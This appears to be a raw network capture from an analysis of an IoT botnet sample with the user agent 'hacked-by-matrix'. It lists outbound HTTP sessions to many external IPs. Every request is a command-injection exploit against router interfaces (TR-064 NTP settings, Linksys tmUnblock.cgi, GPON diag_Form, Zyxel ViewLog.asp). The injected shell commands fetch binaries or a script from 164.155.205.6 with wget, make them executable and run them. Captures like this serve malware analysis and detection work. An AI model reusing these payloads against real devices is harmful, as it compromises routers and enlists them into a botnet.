Mar 2, 2024 12:38:21.821070910 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1452	192.168.2.23	33536	34.111.221.117	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.304271936 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1453	192.168.2.23	51358	187.188.102.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.388654947 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:22.267275095 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:22.569426060 CET	451	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:19 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c mod_fcgid/2.3.9 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1454	192.168.2.23	60348	159.69.152.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.402120113 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:22.329052925 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:23.416907072 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:25.819227934 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:30.167952061 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:38.874675035 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1455	192.168.2.23	51678	81.169.159.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.430510044 CET	324	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 2, 2024 12:38:21.610341072 CET	461	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:38:21 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1456	192.168.2.23	41146	178.33.16.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.496076107 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:22.524972916 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1457	192.168.2.23	49066	213.152.32.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.499228001 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:25.564543962 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:31.703716040 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1458	192.168.2.23	58244	178.236.246.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.501430035 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:21.700542927 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Mar 2, 2024 12:38:21.700578928 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Mar 2024 11:38:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1459	192.168.2.23	54064	80.82.17.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:21.501799107 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
